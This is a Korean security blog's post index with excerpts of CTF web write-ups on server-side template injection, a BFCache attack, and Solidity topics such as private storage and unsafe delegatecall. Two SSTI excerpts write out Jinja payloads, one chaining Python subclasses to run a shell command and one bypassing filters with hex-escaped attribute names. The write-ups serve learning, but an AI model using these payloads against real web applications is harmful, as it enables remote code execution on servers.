Blog

Hacking Web

[WEB] Calculator (SSTI)

계산기가 있다. render_template_string을 쓰고 있다. → SSTI!! ‘ ” _ [ ] , ` sys os flag % class config

Hacking Web

[WEB] I can Read! (SSTI)

  render_template_string을 쓰고 있으므로 ssti임을 알 수 있다. 7*7을 넣어보면 49가 나온다. ‘’.__class__ ‘’.__class__.__mro__ ‘’.__class__.__mro__[1] ‘’.__class__.__mro__[1].__subclasses__() ‘’.__class__.__mro__[1].__subclasses__().__getitem__(398) ‘’.__class__.__mro__[1].__subclasses__().__getitem__(398)(’ls’,shell=True,stdout=-1) 까지 순서대로

Hacking Web

[WEB] Jinjja (SSTI)

메모가 있다. 여러가지 필터링이 존재한다. 게다가 args도 막힌다. |join으로 하는 것도 못한다. request|attr((’ar’,’gs’)|join)|attr(’a’)   request|attr(%27arx67s%27) g를 x67로 넣어주니 된다!!!! request|attr(%27arx67s%27)|attr(%27x67et%27)(%27c%27)}}&c=_

Hacking Web

[WEB] BFCache attack

뭔가를 작성할 수 있는 노트가 있다. 작성하면 token이 생긴다. 노트에 img 태그까지 넣을 수 있다. 해당 url에 직접 접근하면 note의

Security WEB3

[WEB3] EVM slot

  slot → contract의 변수를 저장하는 공간 slot 하나의 크기는 256bit = 32byte, 전체 슬롯의 개수는 2^256 EX0. address  

Security WEB3

[WEB3] Accessing Private Data

1. Concept 솔리디티에서는 변수나 함수를 다음과 같이 네가지로 정의할 수 있다. private contract 내부에서만 접근 가능. 또한 이름을 명명할때 _를

Security WEB3

[WEB3] Unsafe Delegatecall

1. Concept 먼저 DelegateCall과 일반 Call의 차이점에 대해 살펴보자. 일반적인 call의 경우, callee contract의 함수를 callee의 context에서 실행한다. 따라서 msg.sender가

위로 스크롤